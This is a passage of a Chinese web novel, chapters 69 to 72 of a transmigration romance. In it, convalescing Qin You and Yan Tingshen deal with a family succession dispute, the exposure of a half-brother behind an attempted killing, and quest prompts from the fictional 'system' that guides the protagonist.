秦游看着眼前的人。
忽地, 眼底先悄然柔和,继而唇边也缓缓牵起:“低烧而已, 只有你, 总想得这么严重。”
他吃的药有助眠成分, 睡得比平时沉一些。
也或许靠近的气息太熟悉, 他才没立刻清醒。
但醒来之前, 他隐约察觉脸上轻软的触感, 从额前到鬓边, 又从侧脸到肩颈——
感觉到熟悉的动作, 他睁眼时, 果然是熟悉的人影。
不论是裴笙, 还是严庭深, 只是他认识的那个人。
口是心非。
嘴硬心软。
秦游看着他,轻声笑说:“不用担心。”
对上双眼里似乎久违的笑意,严庭深僵持的手不觉放松。
秦游已经转眼看他手上的湿痕:“医生没告诉你吗。伤口不宜碰水, 容易感染。”
严庭深也垂眸:“如果你能记得遵医嘱,现在就不会躺在这。”
秦游失笑,就近问他:“你今天过来,是专程为了数落我?”
严庭深视线往下一扫,记起外套在玄关被管家接走, 无言片刻。
秦游抬手解开他的绷带:“还没问你,你的手怎么回事?”
闻言,严庭深倏然收手:“我没事。”
话落,见秦游作势起身,又抬手把人按了回去,“不要乱动。”
秦游无奈:“真的把我当成病人?”
严庭深又收了手。
他到泽水湾不是来探病,回去再拿外套显得欲盖弥彰,他索性问秦游:“秦氏今天的人事变动是怎么回事?”
秦游反问:“人事变动?”
严庭深当即听出,秦游还不知道这个消息。
他微蹙起眉。
没错,秦游早起伤口感染,还没有精力顾及其余的事。
严庭深薄唇微抿。
没和秦游证实,却问得这么直接,是他不该有的疏忽。
秦游看他的神色,转问系统:【怎么回事?】
系统茫然:【不知道啊宿主。】
经过宿主插手的剧情,早就崩得它不认识了。
连原身的记忆都不能作为参考,记忆之外的东西,它更不知道了。
【哦对!】
它苦苦回想,终于找到一点嫌疑,【主角来之前,秦恒钟也来过。不过配角就是配角,一点都没有主角贴心,多余的医生都不请一个,不像主角,带来好多人,还亲自帮你擦汗降温……】
秦游听着,看向严庭深。
系统建议:【宿主,我又觉得主角不错了,要不还是攻略他吧,他比较有基础。】
秦游道:【闭嘴。】
系统委屈:【……哦。】
秦游按了按鼻梁。
他不会攻略任何人。
退一万步来说,即使他喜欢男人,也不会选择主角。
严家错综复杂,比秦家更藏污纳垢。
他什么都没做,就引来一场暗杀,真的和严庭深在一起,未来的麻烦可想而知。
这和他的初衷相悖。
这辈子,他只想做个普通人。
而严家要想清静,实在难如登天。
严庭深正转身:“你还病着,这些以后再谈。”
秦游松手看过去。
严庭深不肯说,他也猜到会是什么事。
秦恒钟不会平白无故来泽水湾。
而秦恒钟最近最关心的,莫过于他的“性取向”。
为纠正他的“错误”,秦恒钟先限制他的人身自由,再帮他联姻。
达到的结果不尽人意,方式无疑需要再升级。
这之后带来的消息,既然惊动严庭深,想必非同寻常。
事关秦氏的人事变动。
那就只有一个可能。
秦游道:“老爷子撤了我的总经理?”
严庭深一顿。
看他的反应,秦游道:“放心,这个位置对我没那么重要。”
严庭深才回身看他。
秦游道:“你今天是为这件事找我?”
严庭深说:“算是。”
关于康明的职位变动,他看着秦游颜色寡淡的薄唇,没再说出口。
按齐晏听到的传言,康明大有可能是秦游父亲的私生子。
康明比秦游只小两岁,传言属实,那么秦游父亲是在婚期出轨。
秦游从小在国外长大,同父异母的私生子却留在秦恒钟身边,不仅夺走秦游的亲情,现在,又夺走秦游唯一的倚仗。
即便以秦游的性格,大约对这些并不在意。
但五五的概率,他还不能断定。
秦游已经病倒,没必要再承受这样无谓的打击。
念及此,严庭深又看秦游:“既然你不在乎,安心养病吧。”
秦游看出他的话没说尽。
不过既然他不想说,秦游也没追问:“嗯。”
正在这时,严庭深的手机响起来电铃声。
看到齐晏的名字,他微微压下屏幕,对秦游示意,到内间书房,才接起电话。
“原因我查到了。”
齐晏的声音立刻响起,语气难得吞吞吐吐,“……庭深,可能跟你有关。”
严庭深蹙眉:“什么?”
“你还记得当初你和秦游在滑雪场被偷拍的那段视频吗?”
齐晏咳了一声,“之前这个视频被全网删除,摄影师也被告,我以为事情就算完了,今天才知道,被秦老看见了。你说这搞的,太不巧了……”
严庭深道:“秦老看见又怎么样。”
“……”齐晏懵了两秒,“不是……他看见,就现在这个样了啊……”
严大总裁不愧是严大总裁,地下恋情都被曝光了,还这么理所当然,简直是不把秦老爷子放在眼里啊!
他就不行。
刚才听到这个消息,他比严庭深慌多了。
严庭深蹙眉道:“把话说清楚。”
齐晏叹气,简而言之:“说到底,现在连秦氏员工都在传,秦游喜欢男人,为此不惜和秦老作对,所以秦老大发雷霆,一气之下,撸了他的总经理,让康明这个私生子顶上了。”
严庭深眉间刻痕更深。
他记得齐晏口中的视频。
秦游喜欢男人没错。
但当时秦游只是在教他滑雪,没有任何越矩的行为,仅仅一段视频,怎么会让秦老生出这种误会。
如果是为这个误会,让秦游从此失去秦氏的继承权,未免太儿戏。
“唉,庭深,这件事确实有点难办……”
齐晏说,“要是别的就算了,还能想想办法,可秦游喜欢男人,这是生理问题啊,怎么改得了……除非,你亲自出马,让秦游撒一点善意的谎言,说他其实不喜欢男人……”
严庭深眼底渐沉,看向身后闭紧的房门。
这不是秦恒钟第一次向秦游发难。
发难之前,秦恒钟也不可能不提前劝秦游回头。
然而事情依旧发展到今天这个结果,说明对秦恒钟的劝解,秦游丝毫没有接受。
秦氏的基业不足以动摇秦游的想法。
他又有什么资格左右秦游的决定。
再者,秦游喜欢的人是裴笙。
即使有人可以让秦游改变,那也不会是他。
“除了这个,还有一件事。”
说起这个话题,齐晏的声音沉肃许多,“是孟云哲。”
一个星期之前,他说过用一周时间查出孟云哲的资料。
现在一周过去,资料完备,他看完却心情沉重。
听到这个名字,严庭深收回视线,继续往前:“查到什么。”
“电话方便吗,你在不在公司,我过去找你?”
严庭深道:“不用。”
齐晏听出他的意思,只好在电话里说明:“孟云哲他不是严经山的私生子。”
说到这,齐晏还是停了停,才接着说,“庭深,他是你爸、严立辉的私生子。”
严庭深脚下顿住。
齐晏说:“你之前从秦宅回来的路上遇到车祸,警察也找到了突破点,重点怀疑对象就是孟云哲,我那时候还在奇怪,严经山为什么要用一个私生子对付你,现在才知道,原来根本就是孟云哲自己跟你过不去。”
查到关键信息,他的人顺藤摸瓜,从孟云哲身上找到不少资料。
严立辉不满商业联姻,和自己的初恋在外面组建了一个小家庭,而且就在京启,严立辉常年生活在这个小家庭,除了避免暴露不常在公共场合露面,在邻居眼里,他们才是真正的一家三口。
难怪李见航能知道严庭深的行程,还精准地在返程路上制造车祸。
孟云哲没有这个能力。
可那天庭深代替严老参加秦老的寿宴,严立辉确实知道。孟云哲有无数种可能,从严立辉嘴里挖到这个关键信息。
就算一向知道严庭深对所谓的家人没什么感情,齐晏还是有些担心:“庭深……”
幸好,严庭深的声音听起来依旧平淡无波。
“还有呢。”
“还有……”
齐晏又迟疑两秒,才说,“就是之前,关于苍滨的那件事。”
苍滨的事只有一件。
严庭深眼神如冰,语气微冷:“秦游出事,和他有关?”
齐晏说:“结合警方的调查,十有八|九。”
“那就配合警方,继续查。查到清楚为止。”
听严庭深的语气,齐晏撇嘴。
他就知道,如果只涉及那场车祸,严庭深可能还不会怎么样,一旦涉及秦游,孟云哲再想善终就只能是奢望。
不过这样也挺好,至少严庭深不会因为有严立辉这种家人伤神。
齐晏说:“在查呢,警方也在搜集证据准备抓人了。有结果我会立刻跟你说的。”
严庭深说:“嗯。”
齐晏想了想,又咳了一声:“那什么,这件事你最好还是暂时别告诉秦游吧?等尘埃落定,再跟他解释清楚要好一点,也算是善意的谎言。”
毕竟那次意外差点让秦游非死即伤,不是个小事。
秦游现在又正在人生低谷,情绪最不好的时候,不适合谈这种要命的话题,对感情有弊无利啊。
严庭深只道:“去忙吧。”
齐晏:“……”
真服了。
兄弟的待遇,连相好的一根头发都比不上……
什么人呢……
电话挂断。
严庭深回到门前,开门时,却久久没有动作。
隔着门板,他看向门后。
齐晏的言外之意很明显。
孟云哲是严立辉的私生子,才会设法置他于死地。
但孟云哲和秦游没有任何来往,也没有任何大费周章暗杀秦游的理由。
那么只有一个原因。
秦游是受他牵连,被孟云哲怀恨在心。
严庭深按在门把手,力道微微收紧。
秦游正是因为和他有关的视频,被秦恒钟误会,从而被发现喜欢男人,失去继承秦氏的机会。
如果得知之前在苍滨的意外也和他有关,秦游会怎么想。
但,向秦游隐瞒这个事实?
良久,严庭深闭了闭眼,还是推开房门。
看到床上的秦游,他没去看那双眼睛,只说:“有一件事,我想,你应该知道。”
隐瞒对自己不利的真相。
这不是善意的谎言,只是纯粹的欺骗。
秦游道:“什么事?”
严庭深说:“关于孟云哲。”
秦游挑眉。
他没想到当初随口提起的名字,严庭深竟然会记在心上。
严庭深简单概述齐晏查过的资料,仍然没有看他:“所以在苍滨,可能是他为了对我下手,才牵连到你。”
话到这,才终于看向秦游,语气毫无敷衍,“对不起。这件事是我连累了你,道歉于事无补,我会尽快给你一个交代。”
秦游听他把话说完。
严庭深话落已经移开视线。
他始终没和秦游对视,正要转身,却听到秦游轻笑一声。
“这么说,你爸也有私生子?”
严庭深一顿,回眼看他。
“看来我们的确很有缘分——”
严庭深微怔,心跳稍错一拍。
秦游笑说:“——连倒霉,都这么相似。”
第 70 章 只要你想,我可以帮你。……
听到这句话, 严庭深看着秦游,稍久,才开口:“你, 不怪我?”
秦游也看他一眼:“怪你?为什么要怪你。”
严庭深还没回答, 见秦游半坐起身,不由蹙眉往前两步,回到床边。
拿起毛毯披向秦游肩膀, 他才回神,手上顿了顿, 抬眼看到秦游毫无异色的侧脸, 再继续动作。
秦游依他的意思披上毛毯, 接着说:“为不相干的错事, 怪罪你这个和我一样的无辜受害者, 在你眼里, 我有这么不明是非?”
严庭深说:“事关人身安全, 没有人会只论是非。”
不是因为他, 孟云哲不会盯上秦游。
他不是加害者, 却是这件事之所以会发生的导火索。
秦游会怪他, 甚至因此和他断绝往来, 他都不会意外。
他唯独没想过,秦游不仅对这样极其危险的窥伺没有丝毫在意,还有心情开玩笑。
严庭深薄唇微抿。
苍滨的事发生得突然, 万幸秦游反应及时,才险之又险逃过一劫。
当时的情形,连他至今回想时都心有余悸,秦游亲身经历生死一线,只会比他更能体会当时的凶险。
“说的也有道理。”
严庭深正按铃让管家重新送温水上来, 闻言手下微重。
秦游倚在床头,捻了捻手边的毛毯,含笑看他动作:“不过想到事后你照顾我那么久,算你功过相抵吧。”
严庭深一顿。
管家还在问:“请问还需要别的吗?”
久久没听到回应。
管家犹豫着,不知道要不要再问一遍,又听到对面隐约传来自家雇主带笑的声音,他还没听清,电话挂断了。
佣人已经准备好温水,他想了想,还是端起水上楼,到主卧前敲了敲门。
“进。”
管家开了门,看到床上雇主果然醒了。
他又看床边的严庭深,小心翼翼地换了水,低声告退。
秦游看过严庭深的右手:“别忙了。我吃过药,烧很快会退的。”
严庭深没看他,把浸过温水的毛巾拧干,到床边时,停了停,只把热毛巾递给他:“把汗擦干。”
秦游只好抬手接过。
见他又沉默,又拍了拍床边:“坐。”
严庭深没有动作,转而道:“该说的,我已经告诉你。之后孟云哲的事有了结果,再联系吧。”
秦游也没强求。
他擦过手,看着严庭深:“不要多想。”
严庭深道:“我——”
秦游道:“秦家的事,也不用为我担心。”
严庭深和他对视,又收回视线:“秦家的事,恐怕还轮不到我为你担心。”
“那就当我自作多情吧。”
秦游笑说,“在我看来,也只有你会为我担心。”
闻言,严庭深心间倏地一瞬刺过。
秦游目前的处境的确腹背受敌。
父亲昏迷不醒,秦游在秦氏唯一的倚仗只有秦恒钟。
回国不久,没有充足的时间和条件壮大己身,再失去秦恒钟的支持,秦游又能凭借什么翻身。
正在这时,敲门声又响起。
门开后,他带着医生进来。
严庭深让了一步,看着医生为秦游检查。
医生如芒在背,赶紧检查完,又说明雇主正在退烧,才松了口气,正要走,又被雇主叫住。
“给他包扎一下。”
“……”医生看向严庭深。
严庭深还没开口。
秦游道:“如果你在我这里感染,你的伤就是我的责任了。”
医生和管家对视一眼,默默地跟着好像被说服的严庭深,走到沙发前。
之后伤口处理完,两人又默默离开。
严庭深看着手上崭新的绷带,再开口时,语气平淡:“只要你想,我可以帮你。”
不知怎么。
这句话像是意料中的场景。
秦游看着严庭深,忽而笑了:“我知道。”
严庭深仍坐在沙发。
隔着距离,他听到秦游的笑意,但没看那双一定也含笑的眼睛:“当作对你的补偿。”
秦游笑意不减:“我知道。”
再听到这三个字,严庭深却微蹙起眉,终于回眼看向秦游。
看出他已经明白。
秦游眼底噙笑更深:“你很了解我。”
严庭深蹙眉:“为什么?”
话落,他微坐起身,沉沉看着秦游,“因为裴笙?”
秦游如果想接受这个提议,就不会是这样的反应。
他会这么说,也证明他对拿回秦氏继承权没有兴趣。
但造成今天的结果,总会有一个理由。
听到这个名字,秦游第一次意外:“裴笙?”
严庭深道:“秦老对你动手的原因,我已经知道。”
秦游眸光轻动。
严庭深知道了?
秦恒钟以为他和严庭深正在交往,他顺势而已。
借严庭深的名义卸下总经理的名头,这只对他个人有利益损害,对严庭深毫无影响。
秦恒钟即使对严庭深有什么不满,碍于颜面和秦严两家的商务往来,都只能咽下这口气,不可能公然找严庭深的麻烦。
相反,秦恒钟比他更想按下这类流言。
严庭深是怎么知道这件事?
现在提起来,又是什么意思?
难道他之前猜的全错,严庭深这次过来,是为了兴师问罪?
秦游想着,先问:“你知道什么?”
“知道你喜欢男人,知道你喜欢裴笙。”
严庭深看他的神色,语气不变,“我知道得够多了。”
喜欢裴笙?
秦游看向严庭深。
严庭深道:“为了裴笙,你不惜放弃秦氏的继承权,不是吗。”
秦游沉默片刻。
突如其来的静寂中,严庭深忽然起身。
他走向一旁:“说服秦老接受这一点,我帮不了你。但你想继承秦氏,还有无数种办法。”
秦游看着严庭深的背影。
听对方把话说完,才道:“这件事和裴笙无关。”
他曾向严庭深“告白”过几次,严庭深会这么想,顺理成章。
严庭深理解的这个原因,和秦恒钟的理解大同小异,其实也没有解释的必要。
但他之前把严庭深错认成裴笙,严庭深显然十分介意。
何况既然他无意按照任务的形式“攻略”裴笙,裴笙也没因为“爱上”他,从而更爱严庭深,那么更没必要让严庭深生出这种没意义的误会。
严庭深问:“除了裴笙,还会和谁有关?”
“和谁都无关。”
秦游想了想,告诉他,“你比谁都清楚,打理一个家族企业,不是一件轻松的事。”
听到这句话,严庭深转身看他。
秦游道:“公司的事可以解决,公司以外的状况却层出不穷,很难有真正解决的一天。”
严庭深眼神深沉。
他了解秦游一向不喜欢尔虞我诈,但没想到,秦游会仅仅因为不喜欢尔虞我诈,选择放弃资产。
秦恒钟无疑属意秦游,那些是本该属于秦游的资产。
他看向秦游:“我说过,只要你想,我可以帮你。”
秦游又笑了笑:“我知道,有你帮我,我可以做到无事一身轻,把一切全权都交给你处理。”
严庭深说:“既然你知道,为什么不同意?”
秦游道:“因为,你已经够累了。”
话音刚落。
严庭深眉间的痕迹悄然抚平:“什么?”
秦游道:“打理一个家族企业已经很辛苦,你想把两份责任揽在自己身上,有没有想过会多难过?”
严庭深看着他。
秦游也笑眼看他:“从此以后,我没有负担,你也没有多余的负累,这样不好吗?”
严庭深看他良久,才道:“从今以后,你有什么打算?”
秦游收回视线,看了一眼窗外:“车到山前必有路。顺其自然是最好的计划。”
严庭深又问:“那你有没有想过,这只是你的想法。”
秦游道:“我的想法就足够了。”
严庭深道:“你——”
“好了。”
秦游回眼,笑说,“一直在说我,你呢?”
严庭深说:“我?”
“是啊。”
秦游道,“你想帮我,想为我牺牲这么大的精力,有没有问过自己的想法。”
严庭深只道:“是你想得太严重。”
“不是我想得太严重,是你想得太轻松。”
秦游道,“多为自己考虑,多做点让自己开心的事,对你来说才最重要。”
闻言,严庭深看了看他,没再多说什么。
话题告一段落,两人又聊过几句,严庭深看过时间,也没再久留。
离开秦宅,他直接回了公司。
回到办公室,齐晏正在沙发上和裴笙聊起孟云哲。
见严庭深回来,齐晏先问:“怪不得刚才打电话你不让我过来,原来是去看秦游了。”
他说着话,一个箭步过去,挤眉弄眼,“怎么着,和好啦?你去看秦游,他是不是感动坏了?”
严庭深没理他,只说:“孟云哲的资料。”
“资料在你邮箱。”
裴笙说:“他今天没上班,几个住址也都没动静,证据也可能要到明天才能补足,为了不打草惊蛇,警方暂时按兵不动,等到明天再动手。不过你放心,没有他离市的记录。”
严庭深道:“嗯。”
齐晏看着他打开邮件,查看资料,不由撇嘴:“别上来就谈正事啊,说点别的调剂一下不行吗,开心开心。”
听到这句话,严庭深动作一顿,耳边不由自主,响起秦游的声音。
‘多做点让自己开心的事。’
齐晏又问:“庭深,你就说说呗,怎么和好的?秦游有没有说两句好听的?”
严庭深放下手机,回到办公桌后坐下。
听到齐晏的问句,秦游的声音又鬼使神差地响起。
‘——认识你,是我来到这个世界,遇到的唯一一件好事。’
齐晏等不及了,扣了扣桌子:“严总,回神了。”
严庭深抬眼看他。
齐晏顿时缩了缩脖子,干笑一声:“那什么,这不就问问吗……你不想说就——”
严庭深转向电脑。
他淡声道:“没有。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
70-80
第 71 章 巧合就是缘分。
没有?
齐晏挑了挑眉毛, 撞了撞裴笙肩膀。
他刚才一时口快而已,反应过来,就没想听到回复。
要不说谈了恋爱就是不一样。
放在以前, 听到这种问题, 他都能想象出严大总裁看他的眼神。
首先,肯定是质疑他智商的冷漠。
想要回答,那更是绝无可能。
结果现在严总不仅没嫌他废话多, 还有问有答。
就算语气和平常没什么区别,也是绝对的非同小可。
今天的太阳是从西边升上来的?
裴笙也看了看严庭深。
齐晏清咳一声, 接着问:“秦游病得怎么样?”
严庭深道:“不严重。”
裴笙眼神动了动。
从泽水湾再回来, 庭深的态度似乎有所软化, 提起秦游时也语气如常, 和前两天大不一样。
误会解开了吗?
这两个人果然需要见面沟通。
见到秦游, 庭深的心也硬不了太久。
裴笙注意到严庭深重新包扎过的手, 难得附和齐晏, 加了一句:“你的伤, 小秦总一定不放心吧。”
严庭深垂眸扫过右手。
齐晏这时笑了一声:“还小秦总呢?秦游都请你吃饭了, 这称呼也太生分了。”
裴笙一顿, 下意识看向严庭深的脸:“只是一顿饭, 不算什么。”
严庭深神色不改,只重看向屏幕。
“还不算什么呢?”
齐晏藏不住半点八卦,“庭深, 你还不知道吧,我也是昨晚问了裴笙才知道,上次我跟你提过的那个裴笙小时候捡的人,就是秦游!所以他才请裴笙吃饭。”
办公室里有短暂的沉静。
裴笙抿了抿唇。
他和秦游吃一顿饭,确实不算什么, 可吃饭的时间就在秦游和庭深误会的关口……
可能就是因为这个原因,在庭深面前提起这件事,总让他感觉十分忐忑。
齐晏又说:“真是想不到啊,秦游和裴笙竟然还有这段缘分——”
“四岁的事了,你不要大惊小怪。”
裴笙打断齐晏的话,“那只是个巧合而已。”
齐晏说:“是啊,巧合不就是缘分——哎呦!”
裴笙收脚,没理会齐晏哀怨的眼神,对严庭深解释说:“庭深,小秦总请我吃饭确实是因为小时候的事,但也只是叙旧而已。”
严庭深淡淡说:“你和他之间的事,不必告诉我。”
裴笙却不能不说。
他猜测这两个人的冲突应该和这段往事有点关联,为免在庭深气头上火上浇油,才一直没提起那晚和秦游见面。
但现在与其让齐晏越描越黑,还不如全盘托出。
“那天晚上,小秦总确认过这件事后,让我以后遇到麻烦去找他。”
他简单总结,“他认为小时候是我救了他一命,才会这么郑重其事,但除此之外,他没再和我联系。”
严庭深动作微停。
秦游,没再和裴笙联系?
裴笙说:“他是自己心里过不去,想为我做点什么,才来找我。这和缘分无关,只是小秦总为人慷慨而已。”
严庭深看着屏幕上模糊不清的倒影,脑海里闪现的,是和秦游第一次表白的场景。
他说,阿笙,我喜欢你。
他把他认错,称呼却从没错过。
秦游喜欢的是裴笙。
那么真相大白,面对真正的裴笙,秦游又为什么选择避而不见。
“……”齐晏已经被迫从钝痛的脚面得到裴笙的明示,“对对对,对裴笙是慷慨,跟庭深才是缘分……”
严庭深指下稍重。
空格键按响的声音打破安静,他压下杂念,继续看过资料,关了页面。
见状,齐晏也正色谈起正事:“不查不知道,这个孟云哲,真不是个省油的灯。”
先通过严立辉的关系,找到对庭深恨之入骨的李见航,再诱导李见航对庭深下杀手。
哪怕李见航的目的没达到,庭深和裴笙都只是受伤,没有生命危险,可当时开车的司机当场毙命,简直是无妄之灾。
事后|庭深自掏腰包给了司机家属一笔不小的数目,那也没办法挽回一条无辜的命。
这段时间以来,庭深对这个案件这么关注,除了抓出真凶,也是为了给司机一个交代。
李见航杀人该偿命。
教唆杀人的孟云哲当然也要一视同仁。
只这一条罪,孟云哲就翻不了身,何况他还在苍滨买凶杀人未遂。
犯的都是大案,到时候别说严立辉,就是严老亲自出马,有庭深在,也保不住孟云哲的命。
严庭深道:“他的下落,还没查到?”
齐晏点头说:“这小子不走正道,行踪也是鬼鬼祟祟,下落还真有点难找。不过你爸和他妈都在家……”
说到这,他看了看严庭深的脸色,“出行很正常,没有任何可疑,房子周围也有人盯梢,明天之后,孟云哲上班也好,回家也好,一旦露面,就能把人控制起来。”
严庭深道:“嗯。”
严家的婚姻,大多是名存实亡,各自寻欢,互不干扰。
严立辉在外面组建自己的小家庭,他不意外,也不会为此烦心。
毕竟他和严立辉也没有多少所谓的父子亲情。
他只说:“注意分寸,不要走露风声。”
“我办事,你放心。”
齐晏大手一挥,“我什么时候露过口风?”
裴笙看他一眼。
“……”齐晏改口,“正事上,我什么时候露过口风?”
裴笙转向严庭深:“对了,早上没来得及跟你说,姚伯今早打电话过来,还有不到半个月就过年了,严老是想和以前一样,年前去福中路吃一顿年夜饭。”
齐晏撇嘴。
裴笙口中的姚伯他当然认识。
姚洪,跟了严老大半辈子的老管家,也算是严家的一员了,从青宁路到福中路,他一直在。
只是,姚伯不是这句话的重点,重点是——
“严家的年夜饭……”
自从严老病重,严家都快乱成一锅粥了。
这个时候还坐在一张桌子前吃年夜饭,假装家和万事兴,他想想都替严庭深作呕。
裴笙踢了他一脚。
齐晏缩了一脚,忍不住说:“你最近越来越暴力了。”
裴笙说:“你最近越来越口无遮拦了。”
齐晏瞄了一眼严庭深,把声音压低:“严总最近心情好,不会和我计较。”
裴笙往前一步,没和他继续这个话题,对严庭深说:“行程我已经跟司机说过,年三十晚上七点出发。”
严庭深说:“嗯。”
这些谈完,裴笙才问:“那小秦总那边?”
齐晏假意长叹:“可怜的小秦总啊,我们还能过个好年,他赶在年前出了柜,总经理没了,秦老和他也闹得不太开心,这个年可怎么过呢。”
闻言,严庭深签字的手顿了顿。
“庭深你也别多想。”齐晏作势劝他,“他在国外长大,说不定无所谓。”
裴笙皱眉:“你少说两句。”
“我可是好意啊!”
齐晏说,“而且实在不行,要不,反正裴笙你也不回家,咱俩陪秦游过年算了。现在你可是他的救命恩人,他肯定卖你面子——”
他正说着,背后忽然一凛。
转脸冷不丁对上严庭深的双眼,他一口气噎在嗓子眼里,吓得够呛。
他赶紧踢了一脚裴笙。
裴笙低头收拾起严庭深看过的文件。
“……”齐晏也低下头,一眼看见其中一份写着“兰东”的文件夹,忙转移话题,“那什么,这是给我的?”
严庭深不置可否。
齐晏如获至宝,合起文件,揣进怀里,喜笑颜开:“您忙您忙,我还有事,我先走了!”
裴笙看着齐晏出门,又回身看向严庭深。
他迟疑一会,还是出声:“那套方案,是章铭的吧?”
严庭深接过他递来的报表:“嗯。”
裴笙又看一眼齐晏早已消失在背后的背影,沉默良久。
之后等严庭深处理过公司事务,他才问:“去福中路吃过年夜饭,还需要通知司机其他行程吗?”
严庭深搁笔。
又过良久,他只道:“不用。”
—
中午。
泽水湾。
秦游起床吃过午饭,接到崔凌的电话。
听完崔凌的解释,他才知道,原来秦恒钟不止撤了他的职位,还让康明进了总经办。
这项任职很微妙。
公司上下都听过传言,秦恒钟这个举动,传递给员工的信号很明显。
康明有可能会取代他,成为秦氏的新任继承人。
崔凌话里话外也是这样的担忧:“小秦总,事情闹得这么大,你不如先向董事长服软认错,只要他消气,一切就还能转圜。”
秦游道:“谢谢你。”
崔凌一愣:“……谢我?”
秦游道:“这个时候,董事长应该不允许你私下联系我吧。”
“……”崔凌沉默着。
当初和秦游共事,他本以为是个苦差,结果却是,短短时间内,秦游给了他无数机会历练。
这是他以前绝不会有的机会,没有秦游,以后估计也不会再有。
当然,他劝秦游低头,绝不是为了这些机会。
而是秦游有潜力、有天赋,秦游有能力、也更应该接任秦氏。
秦游道:“记住我的话,不要节外生枝。”
崔凌说:“可——”
秦游道:“说再见吧。”
听出秦游语气里的不容置疑,崔凌只好咽下没说完的劝说。
但电话挂断之前,他还是提醒了秦游一句:“小秦总,你……最近要小心,董事长他,可能还有一些特殊的安排。”
秦游挑眉:“特殊安排?”
崔凌犹豫着说:“具体的我不清楚,这两天董事长也不在公司,我是听秦副总的秘书闲聊,说起董事长要在年关安排什么。如果你想了解,我可以打听打听。”
秦游没太在意:“不用了。你忙工作吧。”
崔凌才挂断电话。
秦游收起手机。
回到卧室,他揭下颈侧的退烧贴,握在掌心。
看着它,再记起严庭深俯身时专注认真的眼神,秦游不由轻笑。
不论什么事。
到时候再说吧。
第 72 章 你,怎么来了。
“你确定这里安全?”
“当然安全。”祁新维看着视频另一端神色焦躁的孟云哲, 有些莫名,“你这是怎么了,都待在这三天了, 还不去上班?”
孟云哲坐在沙发上, 仰头灌了一杯早已凉透的水。
冰冷的液体滑进喉管,他感到一阵刺骨的寒意,却浇不灭心里说不清道不明的不安。
他摇头:“我要休息几天。”
祁新维说:“有没有什么需要我帮忙的?”
孟云哲还是摇头。
通过圆微梦, 他也认识几个有点能量的人,从苍滨回来, 他想继续维护这些关系, 几次去联系, 所有人却全都唯恐避之不及。
他当时就觉得不对劲, 央求了其中一个相对熟悉的, 对方才施舍给他四个字。
‘好自为之。’
孟云哲狠狠攥着杯子。
一定是出事了。
这群欲壑难填的秃鹫, 消息一向灵通, 现在连他白送的礼都退了回来, 一定是出了大事, 才会让他们这么害怕被殃及池鱼。
“有什么用得上的, 跟我说就好。”
祁新维说着, 话锋一转,“可惜最近我也脱不开身,否则一定去看看你。”
孟云哲听出他的言外之意:“在忙什么?”
祁新维说:“还不是为了我哥的事。”
秦游?
孟云哲放下水杯, 不动声色:“秦老不是因为秦游喜欢男人,让他退出公司了吗?”
祁新维说:“公司可以退出,也可以重进,还不是全看姥爷的意思。姥爷最喜欢的一直是我哥,最近正在做安排呢。”
孟云哲说:“如果秦游会听从秦老的安排, 就不会是现在的状况了。”
对于秦游,他没想到对方会为了一个男人放弃大好的前程,也只觉得活该。
这种草包,不知变通,也毫无远见。
可偏偏是这种人,轻轻松松就能获得他费尽心力都求之不得的东西。
孟云哲低着头,眼神阴沉。
尤其是,秦游这么情深义重、宁愿放弃继承权也不肯松手的男人,没有意外的话,肯定是严庭深。
严庭深!
到底凭什么,他求不到的一切,严庭深都唾手可得!
“未来的事,有谁能说得准呢。”
祁新维没看到孟云哲的表情,“这一次,姥爷是势在必得,我哥又能怎么办。”
孟云哲知道祁新维是不想见到这件事发生,本打算假装没听到,转念一想,突然灵光一闪。
他先说:“你哥不是不想听秦老的安排吗,你提前告诉他,他自然会自己决定怎么做的。”
祁新维说:“唔……”
他没有秦游的私人联系方式,秦游的住址也是高度保密,现在秦游连公司都不去,他根本没有联系的渠道。
孟云哲见状,也不拆穿,转而又说:“还有,秦游喜欢的男人,我应该知道是谁。”
祁新维立刻坐起身:“谁?”
孟云哲说:“严庭深。”
祁新维眼皮一跳。
孟云哲给他发了一段之前在停车场录的视频。
祁新维看完,皱眉说:“这只能看出他们关系不错,哪里能证明秦游喜欢严庭深?”
孟云哲只说:“信不信由你。”
太可惜了。
他早该想到这一点才对。
秦家知道秦游喜欢男人。
严家却不知道严庭深喜欢男人。
秦恒钟得知这种事,还想让秦游回归正轨,可严家没有这么好的爷爷护着严庭深。
等这个消息传到钧闵,也传遍严家,他倒要看看,严庭深还能凭什么坐稳钧闵总裁这个位置!
孟云哲暗自盘算。
他已经在办出国的手续,年后先去国外避避风头,之后严庭深大势已去,他再回来。
反正严庭深就算找到传言的源头,也只能查到祁新维。
这件事成不成,都算不到他的头上。
祁新维看着视频里的画面,也在心底冷笑。
让他去开罪严庭深?
孟云哲真是打的一手好算盘。
先不说这段视频不能作为证据。
就是可以证明秦游和严庭深是情侣关系,他也不可能得罪钧闵集团的总裁。
孟云哲这几天恍惚不宁,估计是自顾不暇,想拖他下水,他可没那么蠢,替别人当打手。
不过……
祁新维想了想。
提前把姥爷的安排告诉秦游,这件事倒算可行。
眼下他找不到人,只能等秦游去老宅了。
—
泽水湾。
书房。
【宿主,你没有总经理的职位,可是股份还在,钱多得花不完,为什么还要做这些?】
系统奇怪地问,【而且如果宿主想赚钱,留在公司,赚的不是更多吗?】
秦游道:【秦氏不是我的公司,那也不是我的钱。】
系统说:【宿主就是原身,继承秦氏,那就是你的钱呀。】
秦游没和它提起任务结束后的打算:【是吗。】
在秦恒钟彻底放手之前,他还不能离开。
但时机已到,准备好启动资金,他随时可以动身。
去远离京启这个是非之地的另一座城市,真正的重新开始。
【是呀!】
系统搞不懂宿主是怎么想的,可见宿主不再说话,也没再多问。
直到一天过去,秦游刚洗漱过,系统跳出提示。
【剧情节点触发。】
【目标好感度下降,请宿主设法与目标进行约会,及时稳定好感。时限:两天。】
系统激动了:【任务终于又来了!】
说完这句话,它又迅速萎靡,【宿主,这个任务……你会做吗……】
之前宿主连续完成两个任务,得到了一点能量盈余,可以抵消一次失败惩罚。
按宿主对任务可以消极怠工、绝不努力一点的作风,这次的任务肯定又是不会——
【嗯。】
【真的吗!那太好了!】
系统又激动了,【宿主你真是太勤劳了!你是我见过最勤劳的宿主!】
秦游道:【……行了。】
系统乖巧地打开任务面板,看到列表,它轻咦一声,才注意到:【怎么又变成普通剧情节点了?】
秦游也看着它打开的页面。
这条任务是普通节点,就是他接手的理由。
最近几条任务,已经足够总结规律。
普通节点,是“攻略”目标,获得目标好感。
重要剧情节点,是“伤害”目标,降低目标好感。
